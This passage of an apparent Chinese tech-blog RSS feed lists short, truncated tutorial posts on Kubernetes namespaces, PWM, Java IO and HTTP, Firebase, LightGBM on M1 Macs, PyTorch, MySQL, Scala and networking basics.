      <description>Namespace概念 Kubernetes 支持多个虚拟集群，它们底层依赖于同一个物理集群，这些虚拟集群被称为命名空间。&#xA;命名空间 namespace 是 k8s 集群级别的资源，可以给不同的用户、租户、环境或项目创建对应的命名空间。&#xA;在创建pod的时候可以指定pod到namespace。&#xA;命名空间适用于存在很多跨多个团队或项目的用户的场景。对于只有少数项目人员的集群则不需要使用namespace。&#xA;在你部署完k8s集群后，会提供几个默认的namespace，kube-system主要用于运行系统级资源，存放k8s一些组件的。&#xA;default为那些未指定名称空间的资源操作提供一个默认值，即你在创建pod时如果没有指定namespace，则会默认使用default这个namespace。&#xA;Namespace指令 kubectl get namespace 该命令用于查看k8s集群中的所有名称空间&#xA;kubectl describe namespace +名称空间的名字 该命令用于查看指定名称空间的详细信息 kubectl create namespace +名称空间的名字 该命令用于创建新的namespace&#xA;查看namespace，发现其中有我们新建的test，表示我们创建成功 kubectl delete namespace +名称空间的名字 该命令用于删除指定的namespace，注意，删除namespace时，它所包含的所有资源也会被一并被删除，所以在删除时要确定是自己没有用的资源在进行删除。并且如果意外删除到系统的namespace，则会导致整个集群down&#xA;kubectl api-resources --namespaced=true 该命令用于查看属于namespace级别的资源</description>
    </item>
    <item>
      <title>PWM生成原理与控制输出</title>
      <link>https://bchobby.github.io/posts/bebfcf1ff9516579bf530f7b80382f73/</link>
      <pubDate>Sat, 07 May 2022 15:38:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bebfcf1ff9516579bf530f7b80382f73/</guid>
      <description>PWM生成原理与控制输出 PWM生成原理与控制输出参考 PWM生成原理与控制输出 PWM生成原理&#xA;PWM实现DA转换，通过产生数字信号模拟输出模拟信号&#xA;基本原理：&#xA;PWM简称脉冲宽度调制，一个周期内存在不同极性电平状态。PWM频率：一秒钟从高电平再到低电平，再从低电平到高电平的瞬间次数。PWM周期：一秒钟从高电平到低电平时间 T= f/1(s)。PWM占空比：一周期高电平时间和总时间比值。 PWM产生:&#xA;PWM实现通过锯齿波/三角波同所需合成波形(调制波)比较，确定输出极性，锯齿波从比较器反向段输出，大于参考电压输出与锯齿波相反极性锯齿波同相端输入，大于参考电压时输出与锯齿波相同极性。&#xA;反相端接锯齿波，大于参考电压输出为0，而小于参考电压为1，通过改变参考电压的值，从而产生了不同占空比的信号。 FPGA实现控制PWM输出&#xA;PWM调控：计数+译码，计数器从0开始到period-1，是整个pwm周期。译码器实现，计数值 &amp;lt; max 输出高电平，否则输出低电平，实现可调节占空比。 针对低电平传输标志信号，并调用相应的器件如蜂鸣器对控制信号进行输出，实现控制pwm输出。&#xA;根据周期变化，调节占空比，实现不同占空比的方波输出。 参考 PWM的基本原理及如何产生PWM</description>
    </item>
    <item>
      <title>DBeaver数据导出CSV格式有科学计数法</title>
      <link>https://bchobby.github.io/posts/54140243cd43661bec074939e5974cbc/</link>
      <pubDate>Sat, 07 May 2022 15:31:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54140243cd43661bec074939e5974cbc/</guid>
      <description> DBeaver数据导出CSV格式，数值太长有科学计数法，看我如何完美解决！！ 解决前 — 导出的CSV文件解决后 — 导出的CSV文件解决方案 解决前 — 导出的CSV文件 从上图可以看到，身份证号一列，由于数值超长已经转化成了科学计数法。 解决后 — 导出的CSV文件 从上图可以看到，身份证号一列，不再是科学计数法的显示方式。而是作为文本的格式展现出来。 那么，在使用DBeaver导出的时候，该如何配置呢？ 请看下图所示： 解决方案 交流三连击&#xA;你学废了吗？ 哪里还不懂？ 评论区留言吧！猿史天尊，随时关注！！！ </description>
    </item>
    <item>
      <title>java代码中发送Post/Get请求</title>
      <link>https://bchobby.github.io/posts/406f3564a9459d3e1790c55734704c59/</link>
      <pubDate>Sat, 07 May 2022 12:53:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/406f3564a9459d3e1790c55734704c59/</guid>
      <description>目录&#xA;1、通过HttpURLConnection发送GET和POST请求&#xA;2、通过Apache HttpClient发送GET和POST请求&#xA;1、通过HttpURLConnection发送GET和POST请求 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.net.HttpURLConnection; import java.net.URL; public class HttpURLConnectionDemo { public String doPost(String URL){ OutputStreamWriter out = null; BufferedReader in = null; StringBuilder result = new StringBuilder(); HttpURLConnection conn = null; try{ URL url = new URL(URL); conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod(&#34;POST&#34;); //发送POST请求必须设置为true conn.setDoOutput(true); conn.setDoInput(true); //设置连接超时时间和读取超时时间 conn.setConnectTimeout(30000); conn.setReadTimeout(10000); conn.setRequestProperty(&#34;Content-Type&#34;, &#34;application/json&#34;); conn.setRequestProperty(&#34;Accept&#34;, &#34;application/json&#34;); //获取输出流 out = new OutputStreamWriter(conn.getOutputStream()); //参数 String jsonStr = &#34;</description>
    </item>
    <item>
      <title>前端基本知识介绍</title>
      <link>https://bchobby.github.io/posts/16bacb286e4325680db0d5ebb835b32b/</link>
      <pubDate>Sat, 07 May 2022 11:46:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16bacb286e4325680db0d5ebb835b32b/</guid>
      <description>目录&#xA;一.前端三剑客&#xA;1.前导&#xA;2.三剑客的分工&#xA;二.VsCode的介绍与配置&#xA;1.vscode的介绍&#xA;2.vscode的下载安装&#xA;3.vscode的使用&#xA;3.1 图形界面操作&#xA;3.3 常用插件&#xA;三.HTML基础标签&#xA;HTML基础知识&#xA;1.HTML为何物？&#xA;2.标签介绍&#xA;3.HTML属性&#xA;4.HTML标签骨架&#xA;基本的HTML标签&#xA;1.HTML标题标签&#xA;2.换行与空格&#xA;3.HTML段落&#xA;4.字体加粗与倾斜及删除效果&#xA;5.图片标签&#xA;6.超链接&#xA;7.列表&#xA;8.布局标签&#xA;9.表格标签&#xA;10.表单标签&#xA;四.CSS基础选择器&#xA;CSS介绍&#xA;CSS样式表介绍&#xA;CSS基础语法&#xA;CSS选择器&#xA;选择器介绍&#xA;基础选择器&#xA;复合选择器&#xA;CSS引入方式&#xA;CSS引入方式介绍&#xA;内部样式表（嵌入式）&#xA;行内样式表&#xA;外部样式表&#xA;五.JS基础&#xA;Javascript介绍&#xA;1.js的介绍&#xA;2.js的由来&#xA;3.JavaScript组成&#xA;JavaScript基本语法&#xA;1.JavaScript的引入方式&#xA;2.js注释&#xA;3.js的输入输出方法&#xA;4.变量 5.数据类型&#xA;6.数据类型转换&#xA;7.更多JS基础&#xA;六.JS之DOM&#xA;1.DOM简介&#xA;什么是DOM？&#xA;DOM树&#xA;2.获取元素&#xA;根据ID获取&#xA;根据类名获取&#xA;根据标签名获取&#xA;通过选择器获取&#xA;通过选择器获取（多个）&#xA;定位body标签&#xA;定位html标签&#xA;3.事件基础&#xA;事件基础介绍</description>
    </item>
    <item>
      <title>Cannal组件</title>
      <link>https://bchobby.github.io/posts/ff4f36bbe81ac01ef9de7d68c326ae46/</link>
      <pubDate>Sat, 07 May 2022 10:22:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff4f36bbe81ac01ef9de7d68c326ae46/</guid>
      <description>1.Cannal入门 什么是canal&#xA;当mysql发生新增，修改，我们可以利用cancal监控到这个修改的数据，并将这个数据写到消息队列，供实时计算框架使用。&#xA;cancal主要支持了MYSQL的Binlog解析，解析完成后才利用Cancal Client来处理获得的相关数据&#xA;什么是mysql的binlog&#xA;MYSQL的二进制日志可以说是MYSQL最重要的日志了，它记录了所有的DDL和DML（除了数据查询语句），以事件形式记录，还包含语句执行的消耗时间。&#xA;二进制有两个重要的使用场景：&#xA;1.主从数据同步&#xA;2.数据恢复&#xA;binlog分类&#xA;binlog的格式有三种，分别是STATEMENT.MIXED,ROW&#xA;statement：语句级，binlog会记录每一次执行写操作的语句row：行级，binlog会记录每次操作后每行记录的变化，保持数据的绝对一致性。占用空间较大mixed：statement的升级版，默认情况还是statement，但是当函数中包含了uuid（），自增字段的表被更新，执行插入语句时，会按照row方式处理。节省空间，同事兼顾了一定的一致性 2.Cannal工作原理 1.MySQL主从复制过程&#xA;Master主库将改变记录，写到二进制日志中Slave从库向MySQL Master发送dump协议，将Master主库的binary log events拷贝到它的中继日志（relay log）Slave从库读取并重做中继日志中的事件，将改变的数据同步到自己的数据库 canal 工作原理&#xA;把自己伪装成Slave，假装从Master复制数据&#xA;2.使用场景&#xA;1.原始场景：阿里Otter中间件的一部分&#xA;Otter是阿里用于进行异地数据库之间的同步框架，Canal是其中一部分&#xA;2.更新缓存&#xA;3.抓取业务表的新增变化数据，用于制作实时统计&#xA;步骤：&#xA;修改mysql配置文件my.cnf中的binlog_format为row模式，指定需同步的数据库binlog-do-db给canal赋予只读权限配置mysql服务器地址及用户名密码 TCP模式&#xA;客户端，服务端模式&#xA;自己编写客户端代码&#xA;kafka模式&#xA;采集后直接发送到消息队列中&#xA;canal数据结构</description>
    </item>
    <item>
      <title>如何在Android中使用Google FireBase?</title>
      <link>https://bchobby.github.io/posts/f7479686d06927b1b83cb23d48981689/</link>
      <pubDate>Sat, 07 May 2022 08:55:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7479686d06927b1b83cb23d48981689/</guid>
      <description>我这里引用Firese的目的主要是检测到底有多少用户在使用相关产品，用的是Firebase的免费版本。看官方教程还是被一些地方给卡住了，特别是检测是否成功时。比较幸运的是Google团队还是比较靠谱，咨询相关问题都能给出及时反馈和建议。&#xA;如需了解更多，请访问：https://www.emperinter.info/2022/05/06/how-to-use-google-firebase-in-android/&#xA;注册 登录并启用https://console.firebase.google.com/ 使用 添加APP 按引导流程下载配置相关文件，操作流程安排挺清楚的，注意细节就行了。&#xA;这里就说关键的一点，那就是必需在代码中也配置一些相关信息，这个是教程中没提到的，我这里没添加是没有任何有效检测的的，最后加上后就好了。&#xA;... public class GameActivity extends AppCompatActivity { private FirebaseAnalytics mFirebaseAnalytics; protected void onCreate(@Nullable Bundle savedInstanceState) { // Obtain the FirebaseAnalytics instance. mFirebaseAnalytics = FirebaseAnalytics.getInstance(this); mFirebaseAnalytics.setAnalyticsCollectionEnabled(true); Bundle bundle = new Bundle(); bundle.putString(&#34;start&#34;, &#34;yes&#34;); mFirebaseAnalytics.logEvent(&#34;share&#34;, bundle); ... } } Firebase DebugView 配置 进入adb目录,一般在你配置的SDK路径下，比如windwos就是 D:\SoftWare\Android\SDK\platform-tools 启用调试模式，注意package_name替换成你自己的应用package_name. adb shell setprop debug.firebase.analytics.app package_name 查看 Android Studio 调试日志中的事件。 如需了解更多，请访问：https://www.emperinter.info/2022/05/06/how-to-use-google-firebase-in-android/</description>
    </item>
    <item>
      <title>Mac(M1 ARM)安装lightgbm记录</title>
      <link>https://bchobby.github.io/posts/d03b9bac43cf77e51eaec30bac11ed89/</link>
      <pubDate>Fri, 06 May 2022 22:02:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d03b9bac43cf77e51eaec30bac11ed89/</guid>
      <description>2022-5-6上午一客户说他的Mac笔记本安装python-lightgbm库报错：&#xA;电话指导客户安装TODESK并开启权限开始远程协助处理故障：&#xA;1.进入客户anaconda环境 pip install lightgbm 成功&#xA;2.执行代码故障依旧。&#xA;3.CSDN搜索一个方案进入系统终端执行brew install lightgbm （libomp自动安装）&#xA;4.执行代码故障依旧。&#xA;5.继续CSDN搜索方案，通过brew安装cmake和gcc&#xA;brew install cmake brew install gcc --without-multilib brew会查找最新的gcc版本进行安装，安装过程中要仔细观察安装的gcc版本，接下来会用到，很重要，如果没注意安装过程并且不小心关掉了终端的话可以到这个路径进行查看：&#xA;find /opt -name gcc 6.安装的是gcc11 下面进入终端到下载目录用cmake进行编译：&#xA;git clone --recursive https://github.com/Microsoft/LightGBM cd LightGBM export CXX=g++-11 CC=gcc-11 mkdir build cd build cmake .. make -j4 7.激活anaconda环境，进入编译的lightgbm目录LightGBM/python-package/下 执行：&#xA;sudo python setup.py install --precompile 输入密码就完成lightgbm安装，pip list 可以看到版本是3.3. 执行代码故障依旧。不过这次出现新提示;&#xA;﻿ (mach-o file, but is an incompatible architecture (have &#39;arm64&#39;, need &#39;x86_64&#39;) 8.检查客户自己安装的anconda是X_86的版本。。。。。而M1是arm版本</description>
    </item>
    <item>
      <title>@NoArgsConstructor、@AllArgsConstructor、@RequiredArgsConstructor的区别以及在springboot常用地方</title>
      <link>https://bchobby.github.io/posts/b90d184687f58f91f1952b808914e27b/</link>
      <pubDate>Fri, 06 May 2022 21:31:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b90d184687f58f91f1952b808914e27b/</guid>
      <description>文章目录 1. 先说结论2. 代码解析区别1. @AllArgsConstructor2. @RequiredArgsConstructor 3. 场景使用---代替@Autowired注入bean对象1. @AllArgsConstructor2. @RequiredArgsConstructor3. @RequiredArgsConstructor 与 @AllArgsConstructor 在注入bean上的区别 4. 总结 1. 先说结论 区别：&#xA;@NoArgsConstructor：生成无参的构造方法。&#xA;@AllArgsConstructor：生成该类下全部属性的构造方法。&#xA;@RequiredArgsConstructor：生成该类下被final修饰或者non-null字段生成一个构造方法。场景：&#xA;在springboot中，对于一个bean类，注入其他bean的时候，常见的是使用@Autowired，实际上也可以使用构造函数注入，这个时候就可以使用@AllArgsConstructor或者@RequiredArgsConstructor来代替。 2. 代码解析区别 @NoArgsConstructor 默认都知道。若不知道怎么查看java反编译字节码内容，可以看一下：&#xA;Java 如何进行反编译生成.java文件(javap、jad下载安装使用) 1. @AllArgsConstructor @AllArgsConstructor public class demo { private String name; // 被final修饰 private final String age; @NonNull private String sex; } 根据反编译查看代码：&#xA;public class demo { // 默认 只要是该类下的字段，无论什么修饰，都会被参与构造 public demo(String name, String age, String sex) { if(sex == null) { throw new NullPointerException(&#34;</description>
    </item>
    <item>
      <title>java 基本IO操作</title>
      <link>https://bchobby.github.io/posts/296052a0a4b159c97563af6314c99691/</link>
      <pubDate>Fri, 06 May 2022 21:12:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/296052a0a4b159c97563af6314c99691/</guid>
      <description>1.JAVA IO&#xA;IO指的是输入与输出，Input和Output java将输入与输出比作流: 流可以理解为是 顺着同一个方向移动的过程，即:流动的概念&#xA;输入流:想象为是一个&#34;管道&#34;，链接着我们写的java程序与另一端的管道，而流动的方向&#xA;是从另一端移动到我们的程序的过程,是一个获取的过程，操作为&#34;读&#34;&#xA;输出流:方向从我们写的程序到另一端的方向，操作为:&#34;写&#34; java为了规范流的行为，定义了两个超类:&#xA;java.io.InputStream和java.io.OutputStream&#xA;java.io.InputStream是所有字节输入流的超类(同时是抽象类)&#xA;定义了几个常见的抽象方法:&#xA;int read():读取一个字节&#xA;int read(byte[] data):块读取操作 java.io.OutputStream是所有字节输出流的超类(同时是抽象类)&#xA;void write(int d):写出一个字节&#xA;void write(byte[] data):块写操作 void write(byte[] data,int off,int len):块写部分数据。 文件流:&#xA;java.io.FileInputStream和FileOutputStream&#xA;文件流继承自java.io.InputStream和OutputStream&#xA;这对流是用来读写文件的流 public class FOSDemo { public static void main(String[] args) throws IOException { /* 常见构造器: FileOutputStream(String pathname) 参数为写出的文件的路径 FileOutputStream(File file) 参数为写出的文件所对应的File实例 创建文件输出流时，如果指定的文件不存在文件流会自动将该文件创建出来 但是如果指定的文件所在的目录不存在时，实例化会抛出异常: java.io.FileNotFoundException 即:文件没找到异常 */ //向当前目录下的fos.dat文件中写入数据 /* 相对路径中&#34;./&#34;可以忽略不写，默认就是从&#34;./&#34;开始的 比如: &#34;./fos.dat&#34;等价与&#34;fos.dat&#34; &#34;./demo/fos.dat&#34;等价于&#34;demo/fos.dat&#34; */ FileOutputStream fos = new FileOutputStream(&#34;</description>
    </item>
    <item>
      <title>基础java文件操作</title>
      <link>https://bchobby.github.io/posts/3f6ad606400aed5d02bbaa3813f61a06/</link>
      <pubDate>Fri, 06 May 2022 20:31:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f6ad606400aed5d02bbaa3813f61a06/</guid>
      <description>File : 文件 io:input输入 output输出 path : 路径 java.io.File File的每一个实例用于表示硬盘上的一个文件或目录(实际上表示的是一个抽象路径) File可以: 1:可以访问其表示的文件或目录的属性信息(文件名，大小，修改时间等等) 2:创建或删除文件及目录 3:访问一个目录(文件夹)中的所有子项 File不能访问文件数据!!!! public class FileDemo { public static void main(String[] args) { //访问当前项目下的demo.txt文件 /* File常用构造器: File(String pathname) 指定一个路径，使当前File对象表达该位置对应的文件或目录。 这里路径使用一个字符串，路径有两种写法: 绝对路径:从操作系统定义的&#34;根&#34;开始，比如windows中硬盘上的根从c盘,d盘等盘符开始 绝对路径的有点在于清晰明了，但是缺点就是太绝对，不能更好适应跨平台。 相对路径:相对路径写法常见的为&#34;./&#34;,即:当前目录 相对路径有更好的适应性，适合跨平台使用，缺点是不够清晰，具体位置的 判断要视当前程序的运行环境而定。 比如在IDEA中执行当前程序时，IDEA规定的&#34;./&#34;就是当前项目目录 */ // D:/Robin/jsd2203_se/demo.txt // File file = new File(&#34;D:/Robin/jsd2203_se/demo.txt&#34;); File file = new File(&#34;./demo.txt&#34;); /* File常见方法: 1:String getName() 获取File对象表示的文件或目录的名字 2:long length() 获取当前File对象表示的文件或目录占用的硬盘空间，单位为字节 11:27回来 */ String name = file.getName(); System.out.println(name); long len = file.</description>
    </item>
    <item>
      <title>Pytorch框架学习</title>
      <link>https://bchobby.github.io/posts/a3b96115bc71d3c133f26ae6a074427d/</link>
      <pubDate>Fri, 06 May 2022 17:35:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3b96115bc71d3c133f26ae6a074427d/</guid>
      <description>Pytorch学习 Pycharm、console、jupyter运行区别Pytorch加载数据Dataset代码实战Tensorboard的使用Transforms使用常见的Transforms使用torchvision使用DataLoader使用神经网络nn.module使用卷积操作(conv2函数)神经网络卷积层最大池化非线性激活线性层及其他层介绍神经网络Sequential使用损失函数与反向传播优化器现有模型修改和使用模型保存与加载模型训练（cuda） Pycharm、console、jupyter运行区别 介绍：&#xA;Pycharm：代码是以块为一个整体运行的话，python文件的块是所有行的代码。&#xA;Console：以每一行为块运行。&#xA;Jupyter：以任意行为块运行的。&#xA;优点：&#xA;Pycharm：通用，传播方便，适用于大型项目。&#xA;Console：显示每个变量的属性。&#xA;Jupyter：利于代码的阅读及修改。&#xA;缺点：&#xA;Pycharm：需要从头运行。&#xA;Console：不利于代码的阅读及修改。&#xA;Jupyter：环境需要配置。&#xA;Pytorch加载数据 Dataset&#xA;提供一种方式去获取数据及其label。其主要实现以下两个功能：&#xA;1.如何获取每一个数据及其label。&#xA;2.告诉我们总共有多少的数据。&#xA;Dataloader&#xA;为后面的网络提供不同的数据形式。&#xA;Dataset代码实战 from PIL import Image #导入Image包 img_path=&#34;C:\\Users\\myn\\Pytorch_Learning\\datasets\\train\\ants\\0013035.jpg&#34; #图片路径 img=Image.open(img_path) #读取图片，在变量中可以看到图片的属性 img.size #获取图片的大小 img.show() dir_path=&#34;datasets/train/ants&#34; import os #python中的一个系统库 img_path_list=os.listdir(dir_path) #文件名列表 img_path_list[0] root_dir=&#34;datasets/train&#34; label_dir=&#34;ants&#34; path=os.path.join(root_dir,label_dir) #将路径拼接 Tensorboard的使用 Tensorborad是一种很好的可视化工具，可以绘制函数、显示图像等功能。&#xA;控制台连接Tensorboard：&#xA;(base)C:\Users\myn\Pytorch_Learning&amp;gt;tensorboard --logdir=logs --port=6007 # Tensorboard使用 from torch.utils.tensorboard import SummaryWriter #导入Tensorboard相应的库 import numpy as np from PIL import Image writer = SummaryWriter(&#34;</description>
    </item>
    <item>
      <title>链表的应用-多项式的加法</title>
      <link>https://bchobby.github.io/posts/27af545cacf9d42132fc519f55768c23/</link>
      <pubDate>Fri, 06 May 2022 15:08:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27af545cacf9d42132fc519f55768c23/</guid>
      <description>写在前面——&#xA;本章是链表的一个实践，即运用链表来进行多项式的计算。本篇的预备知识——单链表的基本运用。&#xA;代码实现如下：&#xA;1.（闵版）&#xA;typedef struct LinkNode{ int coefficient; int exponent; struct LinkNode *next; } *LinkList, *NodePtr; //初始化表 LinkList initLinkList(){ LinkList tempHeader = (LinkList)malloc(sizeof(struct LinkNode)); tempHeader-&amp;gt;coefficient = 0; tempHeader-&amp;gt;exponent = 0; tempHeader-&amp;gt;next = NULL; return tempHeader; } //打印函数(1) void printList(LinkList paraHeader){ NodePtr p = paraHeader-&amp;gt;next; while (p != NULL) { printf(&#34;%d * 10^%d + &#34;, p-&amp;gt;coefficient, p-&amp;gt;exponent); p = p-&amp;gt;next; } printf(&#34;\r\n&#34;); } //打印函数(2) void printNode(NodePtr paraPtr, char paraChar){ if (paraPtr == NULL) { printf(&#34;</description>
    </item>
    <item>
      <title>Visual Studio Code 正则表达式搜索</title>
      <link>https://bchobby.github.io/posts/0ff345916a0f20e038e2a2f5ce63faf1/</link>
      <pubDate>Fri, 06 May 2022 14:56:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ff345916a0f20e038e2a2f5ce63faf1/</guid>
      <description> 引言 VS Code 的全局搜索，可快速查找旧项目代码，或者函数名称但是不是所有时候，都知道想要的函数名字，直接搜索是搜不到的所以，要引入模糊搜索的概念在只知道部分信息的情况下，利用正则表达式，匹配目标代码块 VS CODE 的正则规则 通配符说明.匹配换行外的任意字符\w字母 or 数字 or 下划线 or 汉字\s空白符\d数字\b单词的开始或者结束\W不是 字母 or 数字 or 下划线 or 汉字\S不是 空白符\D不是 数字\B不是 单词的开始或者结束[^x]匹配除X外的任意字符^字符串的开始$字符串的结束*重复0 or 多次+重复1 or 多次?重复0 or 1次{n}重复n次{n,}重复n or 多次{n, m}重复n - m次 </description>
    </item>
    <item>
      <title>Node&#43;Express&#43;Compression部署Vue项目</title>
      <link>https://bchobby.github.io/posts/bac11ccd9fa7e50f1c34490b9cbd8ef2/</link>
      <pubDate>Fri, 06 May 2022 11:24:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bac11ccd9fa7e50f1c34490b9cbd8ef2/</guid>
      <description>背景： 在一个Vue项目开发完成后，经过 yarn build 或者 npm run build 打包文件，此时会在文件夹下生成一个 dist 文件夹，那怎么让这个文件夹运行起来可以预览开发完成的项目呢？在此使用 Node 搭建简易的服务器，将 dist 文件夹托管为静态资源。实现步骤如下。&#xA;一、新建文件夹&#xA;创建一个新的文件夹，通过 npm init -y 初始化 Node.js 项目，生成的默认的 package.json ，将 dist 文件夹拷贝到当前文件目录下，如下图所示。&#xA;二、安装依赖&#xA;1、通过 npm run express 或者 yarn add express 安装 express ，该中间件是 Node 项目运行起来的关键。&#xA;2、通过 npm run compression 或者 yarn add compression 安装 compression ，该中间件是启用 Gzip 资源压缩功能的关键。&#xA;PS：资源压缩一般是前端打包项目的时候启用 Gzip 压缩，如果是在服务器进行压缩的话会造成性能浪费， compression 在此的作用是当前端请求的时候，返回已经压缩好的 GZ 文件，而不是对请求的文件进行压缩后再返回给前端。关于Vue项目webpack打包如何启用Gzip压缩可以看我另外一篇文章：&#xA;Vue项目打包启用图片、JS和CSS文件的Gzip压缩&#xA;三、新建app.js文件&#xA;新建 app.js 文件作为 Node.js 项目的入口文件，主要代码如下：&#xA;const express = require(&#39;express&#39;); const compression = require(&#39;compression&#39;); const app = express(); // compression的使用写到静态资源托管之前 app.</description>
    </item>
    <item>
      <title>Scala基础教程--07--继承与抽象类</title>
      <link>https://bchobby.github.io/posts/d3d4355875a4ad07bca7b0424d8f949d/</link>
      <pubDate>Fri, 06 May 2022 10:16:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3d4355875a4ad07bca7b0424d8f949d/</guid>
      <description>Scala第七章节 章节目标 掌握继承和抽象类相关知识点掌握匿名内部类的用法了解类型转换的内容掌握动物类案例 1. 继承 1.1 概述 实际开发中, 我们发现好多类中的内容是相似的(例如: 相似的属性和行为), 每次写很麻烦. 于是我们可以把这些相似的内容提取出来单独的放到一个类中(父类), 然后让那多个类(子类)和这个类(父类)产生一个关系, 从而实现子类可以访问父类的内容, 这个关系就叫: 继承.&#xA;因为scala语言是支持面向对象编程的，我们也可以使用scala来实现继承，通过继承来减少重复代码。&#xA;1.2 语法 scala中使用extends关键字来实现继承可以在子类中定义父类中没有的字段和方法，或者重写父类的方法类和单例对象都可以有父类 语法&#xA;class/object A类 extends B类 {&#x9;.. } 叫法&#xA;上述格式中, A类称之为: 子类, 派生类.B类称之为: 父类, 超类, 基类. 1.3 类继承 需求&#xA;已知学生类(Student)和老师类(Teacher), 他们都有姓名和年龄(属性), 都要吃饭(行为), 请用所学, 模拟该需求.&#xA;方式一: 非继承版. object ClassDemo01 { //1. 定义老师类. class Teacher{ var name = &#34;&#34; var age = 0 def eat() = println(&#34;老师喝牛肉汤!...&#34;) } //2. 定义学生类. class Student{ var name = &#34;</description>
    </item>
    <item>
      <title>为什么不建议给MySQL设置Null值？《死磕MySQL系列 十八》</title>
      <link>https://bchobby.github.io/posts/0b4379feeccf98026e02760612e5475a/</link>
      <pubDate>Fri, 06 May 2022 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b4379feeccf98026e02760612e5475a/</guid>
      <description>大家好，我是咔咔 不期速成，日拱一卒&#xA;之前ElasticSearch系列文章中提到了如何处理空值，若为Null则会直接报错，因为在ElasticSearch中当字段值为null时、空数组、null值数组时，会将其视为该字段没有值，最终还是需要使用exists或者null_value来处理空值&#xA;大多数ElasticSearch的数据都来自于各类数据库，这里暂且只针对于MySQL，各个开源软件中都默认兼容各种Null值，空数组等等&#xA;若从根源上截断就可以省很多事，直到现在很多开发小伙伴还是坚韧不拔的给字段的默认值还是Null&#xA;本期就来聊一聊为什么不建议给字段的默认值设置为Null&#xA;本期环境为：MySQL8.0.26&#xA;一、案例数据 创建表user&#xA;CREATE TABLE `user` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci DEFAULT NULL, `age` tinyint(4) unsigned NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci 添加数据，共计10条数据，有两条数据的name值为Null&#xA;INSERT INTO `user` (`name`, `age`) VALUES (&#39;kaka&#39;, 26); INSERT INTO `user` (`name`, `age`) VALUES (&#39;niuniu&#39;, 26); INSERT INTO `user` (`name`, `age`) VALUES (&#39;yangyang&#39;, 26); INSERT INTO `user` (`name`, `age`) VALUES (&#39;dandan&#39;, 26); INSERT INTO `user` (`name`, `age`) VALUES (&#39;liuliu&#39;, 26); INSERT INTO `user` (`name`, `age`) VALUES (&#39;yanyan&#39;, 26); INSERT INTO `user` (`name`, `age`) VALUES (&#39;leilie&#39;, 26); INSERT INTO `user` (`name`, `age`) VALUES (&#39;yao&#39;, 26); INSERT INTO `user` (`name`, `age`) VALUES (NULL, 26); INSERT INTO `user` (`name`, `age`) VALUES (NULL, 26); 一、count数据丢失 在这期 MySQL统计总数就用count，别花里胡哨的《死磕MySQL系列 十》 文章中，已经对count的使用说的非常明白了。</description>
    </item>
    <item>
      <title>重看计算机网络——数据链路层</title>
      <link>https://bchobby.github.io/posts/66d2ac7b7dba06b4fe17a247a972262a/</link>
      <pubDate>Thu, 05 May 2022 21:19:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66d2ac7b7dba06b4fe17a247a972262a/</guid>
      <description>自用记录，写的不是很详细。&#xA;数据链路层&#xA;数据链路层属于计算机网络的低层，使用的信道主要有以下两种类型：&#xA;（1）点对点信道：使用一对一的点对点通信方式，使用的协议是PPP协议&#xA;（2）广播信道：使用一对多的广播通信方式，因此过程比较复杂。采用的协议是以太网协议。&#xA;数据链路层解决的问题是：在同一个局域网中，分组怎样从一台主机传送到另一台主机，但并不经过路由器转发。&#xA;数据链路层的三个基本问题：封装成帧、透明传输、差错检验。&#xA;1、使用点对点信道的数据链路层&#xA;基本概念：&#xA;链路：从一个结点到相邻结点的一段物理线路（无线或有线），而中间没有任何其他的交换结点。在进行数据通信时，两台计算机之间的通信路程往往要经过许多段这样的链路。链路只是一个路径的组成部分。数据链路：当需要在一条线路上传送数据时，除了必须要有一条物理线路外，还必须要有一些必要的通信协议来控制这些数据的传输。因此数据链路就是链路加通信协议。目前通过网络适配器来实现这些协议。帧：数据链路层的协议数据单元。数据链路层把网络层交下来的数据构成帧发送到链路上，以及把接收到的帧中的数据取出并上交给网络层。网络层的协议数据单元为IP数据报（简称为数据报、分组或包）。 帧 = 首部+IP数据报+尾部&#xA;点对点信道的数据链路层进行通信时的步骤为：&#xA;(1)结点A 将网络层交下来的IP数据报添加首部和尾部封装成帧&#xA;(2)结点A将帧发送给结点B的数据链路层&#xA;(3)若结点B收到的帧无差错，则从收到的帧中提取出IP数据报交给上面的网络层，否则丢弃这个帧。&#xA;针对数据链路层的点对点通信的三个基本问题：封装成帧，透明传输和差错检验进行对应处理&#xA;(1)封装成帧&#xA;封装成帧就是在IP数据报前后加上首部和尾部，因此接收端在收到物理层上交的比特流后，就能根据首部和尾部的标记，从收到的比特流中识别帧的开始与结束。&#xA;首部和尾部的作用为：帧定界，即确定帧的界限，此外首部和尾部还包括许多必要的控制信息。&#xA;首部为控制字符SOH，表示帧的开始，其ASCII码为0x01；尾部为控制字符EOT，其ASCII码为0x04，表示帧的结束。PPP帧中必须同时包括SOH和EOT，否则认为帧不完整，要被丢弃。&#xA;帧的组成：&#xA;帧开始符SOH + 数据部分 + 帧结束符EOT 